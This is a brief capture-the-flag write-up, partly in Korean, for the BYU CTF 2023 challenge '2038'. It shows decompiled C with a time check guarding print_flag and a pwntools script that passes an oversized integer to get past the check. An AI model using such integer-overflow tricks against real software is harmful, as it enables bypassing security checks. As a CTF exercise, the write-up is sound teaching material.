BYU CTF 2023 - 2038

I know you really want the flag, so I’ll print it out for you, but only after January 1st, 2024 :)
nc byuctf.xyz 40007
tag: easy

  • [215 solves / 100 points]

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__isoc99_scanf("%10s", nptr);
v6 = atoi(nptr);
if ( (unsigned int)v6 > 1704067199 )
{
timer = v6;
v4 = ctime(&timer);
printf("\nSpecified datetime - %s\n", v4);
v8 = time(0LL);
v5 = ctime(&v8);
printf("Current datetime - %s\n", v5);
if ( timer >= v8 )
{
puts("'print_flag' was not run because specified date has not occurred yet. Exiting...");
}
else
{
puts("Time requirement has been met. Running 'print_flag'...");
print_flag();
}
return 0;
}

사실 자세히 안보고 바로 풀었다. 입력값이 1704067199보다 크면 if문에 들어가길래 먼저 이걸 목표로 저거보다 큰 수를 주었다. 그랬더니 운 좋게도 print_flag 함수가 실행되었다. ㅎ

참고로 time함수에 널값을 넣게 되면 1970년 1월 1일 0시 이후부터 현제까지의 시간이 초로 변환된 값이 반환된다.

Solve

1
2
3
4
5
6
7
8
from pwn import *

p = process('./2038')
e = ELF('./2038')

p.sendlineafter('> ', str(21704067199))

p.interactive()